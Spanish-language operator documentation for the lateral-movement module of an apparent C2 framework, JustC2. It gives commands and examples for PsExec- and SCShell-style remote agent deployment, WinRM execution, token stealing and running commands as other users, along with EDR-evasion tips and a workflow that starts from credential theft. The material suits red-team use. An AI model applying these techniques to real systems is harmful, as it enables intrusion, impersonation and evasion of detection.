Movimiento Lateral
El módulo LateralMovement-BOF proporciona comandos para moverse de una máquina comprometida a otras dentro de la red. Incluye técnicas de ejecución remota, manipulación de tokens de seguridad y ejecución como otros usuarios.
Disponible en agentes: Beacon, Gopher (solo Windows).
Ejecución Remota — jump
Los comandos jump despliegan un nuevo agente en una máquina remota.
jump psexec
Ejecución remota mediante la creación de un servicio en la máquina objetivo, similar a la herramienta PsExec de Sysinternals. Crea un servicio de Windows, sube el payload y lo ejecuta.
Requiere: privilegios de administrador en la máquina objetivo y conectividad SMB (puerto 445).
jump psexec --target <hostname/IP> --listener <nombre_listener> [--service_name <nombre>]| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | Hostname o dirección IP de la máquina objetivo |
--listener | Sí | Nombre del listener donde el nuevo agente llamará de vuelta |
--service_name | No | Nombre personalizado para el servicio creado (se genera uno aleatorio si no se especifica) |
Ejemplo:
jump psexec --target DC01.domain.local --listener http-listener
jump psexec --target 192.168.1.10 --listener http-listener --service_name MiServicioCuándo usarlo: Cuando se tiene acceso administrativo al objetivo y no hay preocupación por la creación de un servicio visible. Es la técnica más directa y confiable, pero también la más ruidosa — los servicios creados son detectables por EDR/SIEM.
jump scshell
Ejecución remota mediante SCShell — modifica la ruta binaria de un servicio existente usando ChangeServiceConfigA en lugar de crear uno nuevo. Más sigiloso que PsExec.
jump scshell --target <hostname/IP> --service <nombre_servicio> --payload <comando>| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | Hostname o dirección IP del objetivo |
--service | Sí | Nombre de un servicio existente en la máquina objetivo |
--payload | Sí | Comando a ejecutar (se establece como binPath del servicio) |
Ejemplo:
jump scshell --target SRV01 --service wuauserv --payload "C:\Windows\Temp\agent.exe"Cuándo usarlo: Cuando se necesita mayor sigilo. Al modificar un servicio existente en lugar de crear uno nuevo, se reduce la huella forense. Ideal cuando hay monitorización activa de eventos de creación de servicios (Event ID 7045). Precaución: si el servicio modificado es crítico, puede causar problemas en el sistema.
Ejecución Remota — invoke
Los comandos invoke ejecutan comandos en máquinas remotas sin desplegar un nuevo agente completo.
invoke winrm
Ejecuta un comando en una máquina remota utilizando WinRM (Windows Remote Management).
invoke winrm --target <hostname/IP> --command <comando>| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | Hostname o IP del objetivo |
--command | Sí | Comando a ejecutar remotamente |
Ejemplo:
invoke winrm --target DC01 --command "whoami /all"
invoke winrm --target 192.168.1.5 --command "net user /domain"Cuándo usarlo: Cuando WinRM está habilitado en el objetivo (puerto 5985/5986). Útil para ejecutar comandos puntuales sin necesidad de desplegar un agente. Ideal para reconocimiento rápido o la ejecución de stagers.
invoke scshell
Ejecuta un comando remoto mediante SCShell sin desplegar un agente.
invoke scshell --target <hostname/IP> --service <nombre_servicio> --command <comando>| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | Hostname o IP del objetivo |
--service | Sí | Nombre de un servicio existente en el objetivo |
--command | Sí | Comando a ejecutar |
Ejemplo:
invoke scshell --target SRV02 --service Spooler --command "powershell -enc XXXXXXXX"Cuándo usarlo: Similar a jump scshell pero sin desplegar un agente completo. Útil para ejecución puntual de comandos cuando se quiere evitar crear servicios nuevos.
Manipulación de Tokens — token
Los comandos token permiten crear o robar tokens de seguridad de Windows, que luego se pueden usar para realizar acciones con la identidad de otro usuario.
token make
Crea un nuevo token de acceso a partir de credenciales conocidas.
token make --domain <dominio> --username <usuario> --password <contraseña>| Argumento | Requerido | Descripción |
|---|---|---|
--domain | Sí | Nombre del dominio |
--username | Sí | Nombre de usuario |
--password | Sí | Contraseña del usuario |
Ejemplo:
token make --domain CORP --username admin_user --password "P@ssw0rd123"Cuándo usarlo: Cuando se tienen credenciales (obtenidas con hashdump, dcsync, askcreds, etc.) y se necesita actuar como ese usuario sin iniciar sesión interactiva. El token creado se aplica al agente actual, por lo que todos los comandos posteriores se ejecutarán con esa identidad. Ideal antes de usar jump psexec o invoke winrm hacia una máquina donde ese usuario tiene acceso.
token steal
Roba el token de seguridad de un proceso en ejecución.
token steal --pid <PID>| Argumento | Requerido | Descripción |
|---|---|---|
--pid | Sí | ID del proceso del cual robar el token |
Ejemplo:
token steal --pid 4532Integración con GUI: También disponible desde el Process Browser — clic derecho sobre un proceso → Steal Token.
Cuándo usarlo: Cuando hay un proceso ejecutándose como un usuario de interés (un administrador de dominio con sesión abierta, un servicio ejecutándose como cuenta privilegiada, etc.). Use el Process Browser o ps para identificar procesos de usuarios objetivo, luego robe su token. Requiere SeDebugPrivilege o privilegios de administrador.
Ejecución como Otro Usuario — runas
runas-user
Ejecuta un comando como otro usuario utilizando CreateProcessWithLogonW.
runas-user --credentials <DOMINIO\usuario> --password <contraseña> --command <comando>| Argumento | Requerido | Descripción |
|---|---|---|
--credentials | Sí | Credenciales en formato DOMINIO\usuario |
--password | Sí | Contraseña del usuario |
--command | Sí | Comando a ejecutar |
Ejemplo:
runas-user --credentials "CORP\svc_backup" --password "Backup2024!" --command "cmd.exe /c dir \\\\FileServer\\C$"Cuándo usarlo: Cuando se necesita ejecutar un comando específico con credenciales de otro usuario sin modificar el token del agente actual. A diferencia de token make, no altera el contexto de seguridad del agente — es una ejecución puntual.
runas-session
Ejecuta un comando en la sesión de otro usuario. Requiere privilegios de SYSTEM.
runas-session --session <session_id> --command <comando>| Argumento | Requerido | Descripción |
|---|---|---|
--session | Sí | ID de la sesión del usuario objetivo |
--command | Sí | Comando a ejecutar en esa sesión |
Ejemplo:
runas-session --session 2 --command "C:\Windows\Temp\agent.exe"Cuándo usarlo: Cuando se necesita actuar dentro de la sesión GUI de un usuario específico — por ejemplo, para tomar capturas de pantalla de su escritorio, acceder a su navegador abierto, o interactuar con aplicaciones que sólo existen en su sesión. Use quser (del módulo SAR-BOF) para obtener los IDs de sesión. Se necesita ser SYSTEM (use getsystem del módulo Elevation-BOF primero).
Integración con GUI
El módulo LateralMovement-BOF se integra con la interfaz gráfica de JustC2:
- Panel de Targets: Clic derecho en un objetivo registrado → opciones para PsExec o WinRM directamente desde el menú contextual.
- Process Browser: Clic derecho en un proceso → Steal Token para robar el token de seguridad de ese proceso.
Flujo de Trabajo Típico
- Obtener credenciales: Use
hashdump,dcsyncoaskcredspara obtener credenciales. - Crear token o suplantar identidad:
token makesi tiene usuario/contraseñatoken stealsi hay un proceso del usuario objetivo en ejecución
- Ejecutar en máquina remota:
jump psexecpara desplegar un nuevo agente (rápido, ruidoso)jump scshellpara desplegar un agente de forma sigilosainvoke winrmpara comandos puntuales
- Acciones en sesiones de usuario:
runas-sessionpara actuar dentro de la sesión GUI de un usuario